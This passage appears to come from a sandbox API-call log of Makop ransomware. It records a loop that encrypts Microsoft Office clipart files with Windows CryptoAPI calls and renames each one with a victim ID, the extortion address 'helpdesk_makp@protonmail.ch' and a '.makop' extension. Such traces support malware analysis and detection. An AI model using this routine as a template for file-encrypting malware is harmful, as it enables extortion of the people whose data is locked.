lpOverlapped=0x0) returned 1 [0121.060] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1f40, dwBufLen=0x1f40 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1f40) returned 1 [0121.060] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.060] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1f40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1f40, lpOverlapped=0x0) returned 1 [0121.060] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.060] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2014, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.060] SetEndOfFile (hFile=0xf0) returned 1 [0121.067] GetProcessHeap () returned 0x48a0000 [0121.067] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0121.067] GetProcessHeap () returned 0x48a0000 [0121.067] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0121.067] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0121.067] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107262.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107262.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0121.068] CloseHandle (hObject=0xf0) returned 1 [0121.069] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1498, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107264.WMF", cAlternateFileName="")) returned 1 [0121.069] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF") returned 63 [0121.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107264.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0121.071] GetProcessHeap () returned 0x48a0000 [0121.071] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0121.071] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0121.071] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0121.071] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0121.075] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.075] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.076] GetProcessHeap () returned 0x48a0000 [0121.076] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0121.076] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0121.076] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.076] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0121.076] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0121.076] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0121.076] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0121.076] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0121.077] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0121.077] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.077] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.077] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.077] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1498, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1498, lpOverlapped=0x0) returned 1 [0121.078] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x14a0, dwBufLen=0x14a0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x14a0) returned 1 [0121.078] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.078] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x14a0, lpOverlapped=0x0) returned 1 [0121.079] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.079] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1574, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.079] SetEndOfFile (hFile=0xf0) returned 1 [0121.091] GetProcessHeap () returned 0x48a0000 [0121.091] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0121.091] GetProcessHeap () returned 0x48a0000 [0121.091] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0121.091] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0121.091] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107264.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107264.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0121.092] CloseHandle (hObject=0xf0) returned 1 [0121.092] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107266.WMF", cAlternateFileName="")) returned 1 [0121.093] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF") returned 63 [0121.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107266.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0121.093] GetProcessHeap () returned 0x48a0000 [0121.093] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0121.094] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0121.094] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0121.094] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0121.108] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.108] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.108] GetProcessHeap () returned 0x48a0000 [0121.108] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0121.108] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0121.108] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.108] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0121.108] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0121.108] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0121.109] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0121.109] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0121.109] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0121.109] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.109] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.109] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.109] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x16ec, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x16ec, lpOverlapped=0x0) returned 1 [0121.112] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x16f0, dwBufLen=0x16f0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x16f0) returned 1 [0121.112] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.113] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x16f0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x16f0, lpOverlapped=0x0) returned 1 [0121.113] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.113] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x17c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.113] SetEndOfFile (hFile=0xf0) returned 1 [0121.120] GetProcessHeap () returned 0x48a0000 [0121.121] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0121.121] GetProcessHeap () returned 0x48a0000 [0121.121] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0121.121] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0121.121] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107266.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107266.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0121.123] CloseHandle (hObject=0xf0) returned 1 [0121.123] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2b64, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107280.WMF", cAlternateFileName="")) returned 1 [0121.123] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF") returned 63 [0121.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107280.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0121.124] GetProcessHeap () returned 0x48a0000 [0121.124] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0121.124] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0121.124] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0121.125] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0121.129] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.129] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.129] GetProcessHeap () returned 0x48a0000 [0121.129] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0121.129] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0121.129] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.129] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0121.129] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0121.129] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0121.130] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0121.130] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0121.130] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0121.130] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.130] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.130] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.131] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2b64, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2b64, lpOverlapped=0x0) returned 1 [0121.133] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2b70, dwBufLen=0x2b70 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2b70) returned 1 [0121.133] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.134] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2b70, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2b70, lpOverlapped=0x0) returned 1 [0121.134] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.134] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2c44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.134] SetEndOfFile (hFile=0xf0) returned 1 [0121.141] GetProcessHeap () returned 0x48a0000 [0121.141] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0121.141] GetProcessHeap () returned 0x48a0000 [0121.141] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0121.141] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0121.141] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107280.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107280.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0121.148] CloseHandle (hObject=0xf0) returned 1 [0121.148] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3734, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107282.WMF", cAlternateFileName="")) returned 1 [0121.148] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF") returned 63 [0121.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107282.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0121.149] GetProcessHeap () returned 0x48a0000 [0121.149] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0121.149] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0121.149] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0121.149] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0121.154] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.154] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.154] GetProcessHeap () returned 0x48a0000 [0121.154] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0121.154] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0121.154] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.154] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0121.154] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0121.155] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0121.155] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0121.155] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0121.155] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0121.155] 